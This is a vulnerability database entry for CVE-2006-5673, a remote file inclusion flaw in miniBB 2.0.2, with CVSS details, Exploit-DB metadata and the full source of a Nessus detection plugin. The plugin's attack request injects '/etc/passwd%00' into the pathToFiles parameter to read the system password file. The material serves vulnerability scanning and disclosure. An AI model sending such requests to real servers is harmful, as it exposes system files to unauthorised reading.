Vulnerabilities > CVE-2006-5673 - Remote File Include vulnerability in MiniBB

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
minibb
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in bb_func_txt.php in miniBB 2.0.2 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter. Successful exploitation requires that "register_globals" is enabled. This vulnerability is addressed in the following product update: MiniBB, MiniBB, 2.0.2a

Vulnerable Configurations

Part Description Count
Application
Minibb
1

Exploit-Db

descriptionminiBB <= 2.0.2 (bb_func_txt.php) Remote File Include Exploit. CVE-2006-5673. Webapps exploit for php platform
fileexploits/php/webapps/2655.php
idEDB-ID:2655
last seen2016-01-31
modified2006-10-26
platformphp
port
published2006-10-26
reporterKacper
sourcehttps://www.exploit-db.com/download/2655/
titleminiBB <= 2.0.2 bb_func_txt.php Remote File Include Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idMINIBB_RFI.NASL
descriptionThe remote web server is running MiniBB, an open source forum software. The version of MiniBB installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id22926
published2006-10-30
reporterThis script is Copyright (C) 2006-2018 Justin Seitz
sourcehttps://www.tenable.com/plugins/nessus/22926
titleminiBB bb_func_txt.php pathToFiles Parameter Remote File Inclusion
code
#
#       This script was written by Justin Seitz <[email protected]>
#	Per Justin : GPLv2
#

# Changes by Tenable:
# - Revised plugin title (3/15/10)

include("compat.inc");

if(description)
{
 # set script identifiers

 script_id(22926);
 script_version("1.23");

 script_cve_id("CVE-2006-5673");
 script_bugtraq_id(20757);
 script_xref(name:"EDB-ID", value:"2655");

 script_name(english:"miniBB bb_func_txt.php pathToFiles Parameter Remote File Inclusion");
 script_summary(english:"Tries to read a local file with MiniBB");
 script_family(english:"CGI abuses");
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue." );
 script_set_attribute(attribute:"description", value:
"The remote web server is running MiniBB, an open source forum
software. 

The version of MiniBB installed on the remote host fails to sanitize
input to the 'pathToFiles' parameter before using it in the
'bb_func_txt.php' script. 

Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker can exploit this issue to view arbitrary
files and execute arbitrary code, possibly taken from third-party
hosts, on the remote host." );
 script_set_attribute(attribute:"solution", value:
"Update to version 2.0.2a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2006/10/30");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/10/26");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2006-2020 Justin Seitz");

 script_dependencies("http_version.nasl");
 script_require_ports("Services/www", 80);

 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/PHP");
 exit(0);
}


include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);

#
# verify we can talk to the web server, if not exit
#

if (get_kb_item("Services/www/"+port+"/embedded")) exit(0);
if(!can_host_php(port:port)) exit(0);

#
# create list of directories to scan
#


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/minibb","/mini","/blog","/forum", cgi_dirs()));
else dirs = make_list(cgi_dirs());

#
# Iterate through the list
#

file = "/etc/passwd";

foreach dir (dirs) {

#
#
#       Attack: Attempt a remote file include of /etc/passwd
#
#
  attackreq = http_get(item:string(dir, "/bb_func_txt.php?pathToFiles=", file, "%00"),port:port);
  attackres = http_keepalive_send_recv(port:port, data:attackreq, bodyonly:TRUE);

  if (attackres == NULL) exit(0);

  if (dir == "") dir = "/";

  if (egrep(pattern:"root:.*:0:[01]:", string:attackres) ||
    string("main(", file, "\\0bb_codes.php): failed to open stream") >< attackres ||
    string("main(", file, "): failed to open stream: No such file") >< attackres ||
    "open_basedir restriction in effect. File(" >< attackres)   {

    passwd = "";
    if (egrep(pattern:"root:.*:0:[01]:", string:attackres))     {
      passwd = attackres;
      if ("<br" >< passwd) passwd = passwd - strstr(passwd, "<br");
    }

    if (passwd) {
      passwd = data_protection::redact_etc_passwd(output:passwd);
      report = string("\n", "The version of MiniBB installed in directory '", dir, "'\n",
        "is vulnerable to this issue. Here is the contents of /etc/passwd\n",
        "from the remote host :\n\n", passwd);
      security_warning(port:port, extra:report);
    }
    exit(0);
  }
}